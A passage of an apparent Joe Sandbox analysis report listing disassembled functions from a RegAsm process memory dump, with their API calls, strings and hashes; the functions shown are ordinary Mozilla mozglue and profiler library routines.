Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 302164b4bdc4204a8f5fbefc04d345935966b577cbc528d8b63c052ead2e8c54
Instruction ID: f95ab5b4610a31dd541f95dcbf7d8d8831b510fef9ec918727a68d02dc9b95bd
Opcode Fuzzy Hash: 302164b4bdc4204a8f5fbefc04d345935966b577cbc528d8b63c052ead2e8c54
Instruction Fuzzy Hash: 01416DB5A01606CFCB40CF99C88099BBBF5FF89318B65456AE945A7B11E771FC10CB90

Function 6CC76590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CC6FA80: GetCurrentThreadId.KERNEL32 ref: 6CC6FA8D
Part of subcall function 6CC6FA80: AcquireSRWLockExclusive.KERNEL32(6CCBF448), ref: 6CC6FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC76727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CC767C8

Part of subcall function 6CC84290: memcpy.VCRUNTIME140(?,?,6CC92003,6CC90AD9,?,6CC90AD9,00000000,?,6CC90AD9,?,00000004,?,6CC91A62,?,6CC92003,?), ref: 6CC842C4

Strings

data, xrefs: 6CC76593

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 868b79dfd72263b26f106d93265602dabf269a79dfc1c2bf0422cd05cb11deb2
Instruction ID: 4c7fee14074932d8afbb4927f9e725613be66797e8b279bba5f0a1475bae2ffc
Opcode Fuzzy Hash: 868b79dfd72263b26f106d93265602dabf269a79dfc1c2bf0422cd05cb11deb2
Instruction Fuzzy Hash: F2D1BD75A087408FD724CF65C851B9BBBE5EFC5348F10892DE48997B91FB30A849CB62

Function 6CC7CA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6CC7CA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC7CA69
Sleep.KERNEL32 ref: 6CC7CADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC7CAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC7CAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CC7CB19

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: 7d02d78f467141439ae84c3e4898b4e6a0cb818677f42f857feb5c8e0ade883c
Instruction ID: d79050ac2998823432c5fe52da4459f5996a51e36e5001a78addb565db5c69d2
Opcode Fuzzy Hash: 7d02d78f467141439ae84c3e4898b4e6a0cb818677f42f857feb5c8e0ade883c
Instruction Fuzzy Hash: CE214731B046098BCB08EF78989506FF7BDFFC6355F808629E845A7680FF7095988791

Function 6CC8C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CC8C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CC8C842

Part of subcall function 6CC8CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6CCAB5EB,00000000), ref: 6CC8CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6CC8C863
std::_Facet_Register.LIBCPMT ref: 6CC8C875

Part of subcall function 6CC6B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6CCAB636,?), ref: 6CC6B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CC8C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC8C8BC

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: ad86ec264a5a47fda1b31331219832c27f8e8dad6352cba228b64b06a68c3f5c
Instruction ID: d6efabef8bd65adb6721dbe20feece3e57f601e32d838ee83afd082c42a582f2
Opcode Fuzzy Hash: ad86ec264a5a47fda1b31331219832c27f8e8dad6352cba228b64b06a68c3f5c
Instruction Fuzzy Hash: E911B275B002099FCB00DFF5D9D98AFBB78EF89358B000169E60697341EB34A909CBA5

Function 6CC6D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CC3EB57,?,?,?,?,?,?,?,?,?), ref: 6CC6D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CC3EB57,?), ref: 6CC6D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC3EB57,?), ref: 6CC6D673
free.MOZGLUE(?), ref: 6CC6D888

Strings

|Enabled, xrefs: 6CC6D81E

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 5769ecde866987215c214312e5b3e8740b2931b25560c7db08aaaf9a0546d1f5
Instruction ID: d2b9d6e82247c08b8cd15cf5a8286e2bed2ad11bdee209f9620e142a0e38bca8
Opcode Fuzzy Hash: 5769ecde866987215c214312e5b3e8740b2931b25560c7db08aaaf9a0546d1f5
Instruction Fuzzy Hash: F8A118B4A003158FDB11CF6AC5D07AEBBF1AF49318F24845CD889ABB41E735E945CBA1

Function 6CC80180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CC80270
GetCurrentThreadId.KERNEL32 ref: 6CC802E9
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC802F6
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC8033A

Strings

about:blank, xrefs: 6CC8020F

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 57ca350a799d56cb7c62ea457a8b9f58af2f19e4448bb172f4a91c248fec11fe
Instruction ID: 108be197c94cc5678d92bb1cf6afe7933a7f2e413cd484210144cb59b4a979f8
Opcode Fuzzy Hash: 57ca350a799d56cb7c62ea457a8b9f58af2f19e4448bb172f4a91c248fec11fe
Instruction Fuzzy Hash: 0E51B179A022198FCB00DF98C48099AFBF1FF49328F644559D81AA7B41E731BC45CFA4

Function 6CC7E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6CC7E084,00000000), ref: 6CC7E137

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6CC7E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6CC7E1E9

Part of subcall function 6CC799A0: GetCurrentThreadId.KERNEL32 ref: 6CC799C1
Part of subcall function 6CC799A0: AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC799CE
Part of subcall function 6CC799A0: ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC799F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6CC7E13F

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 3d582ef41a8d17a1c25dbab890a67450393b63b968459fa1d7bb173b04860e59
Instruction ID: 9b5a9714f861609d0d22e8c0589c4fcfccc6c16457f8571a6d1f25ae1413cdb6
Opcode Fuzzy Hash: 3d582ef41a8d17a1c25dbab890a67450393b63b968459fa1d7bb173b04860e59
Instruction Fuzzy Hash: 3831F6B16047019FD7049FA884553AAF7E5EFC6348F14C42EE8598BB41FB708909C7A2

Function 6CC6F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CC6F480

Part of subcall function 6CC3F100: LoadLibraryW.KERNEL32(shell32,?,6CCAD020), ref: 6CC3F122
Part of subcall function 6CC3F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CC3F132

CloseHandle.KERNEL32(00000000), ref: 6CC6F555

Part of subcall function 6CC414B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CC41248,6CC41248,?), ref: 6CC414C9
Part of subcall function 6CC414B0: memcpy.VCRUNTIME140(?,6CC41248,00000000,?,6CC41248,?), ref: 6CC414EF

Part of subcall function 6CC3EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CC3EEE3

CreateFileW.KERNEL32 ref: 6CC6F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CC6F523

Strings

\oleacc.dll, xrefs: 6CC6F4CB

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 8db3ade2e76c7dc684c618afdf0cd0c96942311eb06c539bcc35637ec44ddafe
Instruction ID: bf251850898c74005623de6b00750e3827e99eb0af08c6eede5676e93464d8a8
Opcode Fuzzy Hash: 8db3ade2e76c7dc684c618afdf0cd0c96942311eb06c539bcc35637ec44ddafe
Instruction Fuzzy Hash: 4D41AE306087509FE720DF6AD984B9AB7F4AF44318F504A1CF59483A50FB30D9498BA2

Function 6CC70210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC70222
moz_xmalloc.MOZGLUE(0000000C), ref: 6CC70231

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC7028B
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6CC702F7

Strings

@, xrefs: 6CC702D8

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: 45710384878d39979fdc52a64af5d7ac0d1aa5e4d5096c9c2ab3d3076eba2169
Instruction ID: d438f2e1e138f83d23b1953e8fb043d95264a886524b7df945bf14d2706c3efe
Opcode Fuzzy Hash: 45710384878d39979fdc52a64af5d7ac0d1aa5e4d5096c9c2ab3d3076eba2169
Instruction Fuzzy Hash: 5831AEB2B006518FEB64CF59C880A1AB7F2FF44314B14852DD95ADBB81E772EC01CBA1

Function 6CC7E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7E04F

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC7E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC7E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CC7E057

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 58b5ac3eae2e30694661e5a8e7a6306bf5a6c5b3be46caf3ccc8d26de38ca540
Instruction ID: 4cc4da9b46a90729d47ce00b5c7ea4e919039f75f84e0613efacdd09bfa4aab1
Opcode Fuzzy Hash: 58b5ac3eae2e30694661e5a8e7a6306bf5a6c5b3be46caf3ccc8d26de38ca540
Instruction Fuzzy Hash: F421C275B001088FDF10DFA4D85CAEEB7B5EF45208F144029E90A97741EB31A90AC7F1

Function 6CC974A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CC97526
__Init_thread_footer.LIBCMT ref: 6CC97566
__Init_thread_footer.LIBCMT ref: 6CC97597

Strings

UnmapViewOfFile2, xrefs: 6CC97552
kernel32.dll, xrefs: 6CC97557

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5732aacc14c51ebfd25fcc35d4a704cd0e2e80190042ab8bc60d20784d5fac73
Instruction ID: bcaae2a58e4037b62c7f0040e3b9ac632e3111d96814dac22b187094dc224c5d
Opcode Fuzzy Hash: 5732aacc14c51ebfd25fcc35d4a704cd0e2e80190042ab8bc60d20784d5fac73
Instruction Fuzzy Hash: 0D210739702501AFCA148FEAC854E9A3375EB87728F1445A8E405A7F40FB31A8428B99

Function 6CC9A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBF770,-00000001,?,6CCAE330,?,6CC5BDF7), ref: 6CC9A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CC5BDF7), ref: 6CC9A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CC5BDF7), ref: 6CC9A7E4
LeaveCriticalSection.KERNEL32(6CCBF770), ref: 6CC9A80A

Strings

accelerator.dll, xrefs: 6CC9A7BF

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 278045426007937eac2b31c12e477f06b2d5e7015ad246891c16642f0c2d893b
Instruction ID: 35150c22d8cf806bb711a509f456227c69f05d7e3148b6fe928cb720fcb5e5f9
Opcode Fuzzy Hash: 278045426007937eac2b31c12e477f06b2d5e7015ad246891c16642f0c2d893b
Instruction Fuzzy Hash: 7D01A2786003049FDB04CFDAD8C9D5577F8FF8931470480AAE8099B751EB70A800CBA0

Function 6CC3F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CC3EE51,?), ref: 6CC3F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CC3F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CC3F0DC
ole32, xrefs: 6CC3F0AD
Could not find CoTaskMemFree, xrefs: 6CC3F0E3

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 41826c5b977149d6489d6105696a1c712016a9be2c042c93e12641924b234564
Instruction ID: e8e21632cc7565b75f804de515cb8be09199a1895e5bb69d036ee744cc87cbcf
Opcode Fuzzy Hash: 41826c5b977149d6489d6105696a1c712016a9be2c042c93e12641924b234564
Instruction Fuzzy Hash: A7E0D8B47446029F9F041AFEA858A2637BC6B121093005829F906E1F10FA34D4018626

Function 6CC700D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC47235), ref: 6CC700D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CC700F7
FreeLibrary.KERNEL32(?,6CC47235), ref: 6CC7010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CC700F1
wintrust.dll, xrefs: 6CC700D3

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: eac06c0a08ef49c4804ec8c792a34dd699696796f47c5b2840101911fece71cb
Instruction ID: d8a69529154ecd6d3b4706dc8602c4e06d9a4f8a0524c8609cc9cbf440ee710a
Opcode Fuzzy Hash: eac06c0a08ef49c4804ec8c792a34dd699696796f47c5b2840101911fece71cb
Instruction Fuzzy Hash: 96E0467C7453869FEF109FE5C9497223AF8E707244F109025A90EC1B50EBB2C000DB28

Function 6CC70080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC47204), ref: 6CC70088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CC700A7
FreeLibrary.KERNEL32(?,6CC47204), ref: 6CC700BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CC700A1
wintrust.dll, xrefs: 6CC70083

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 2629ab1c8b645b495e8f9e6138e926cfa5fee034f7433bc796ee29314912e33d
Instruction ID: 36010a133204443830826247e9e8a93c4db88e3cd2d05fee2d32fc5c3da5c18e
Opcode Fuzzy Hash: 2629ab1c8b645b495e8f9e6138e926cfa5fee034f7433bc796ee29314912e33d
Instruction Fuzzy Hash: F4E0927C6443859FEF20AFFAD8587027AF8AB1B355F10401AA915D2760EBB6C4009B2A

Function 6CC701C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC47266), ref: 6CC701C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6CC701E7
FreeLibrary.KERNEL32(?,6CC47266), ref: 6CC701FE

Strings

CryptCATAdminReleaseContext, xrefs: 6CC701E1
wintrust.dll, xrefs: 6CC701C3

Memory Dump Source

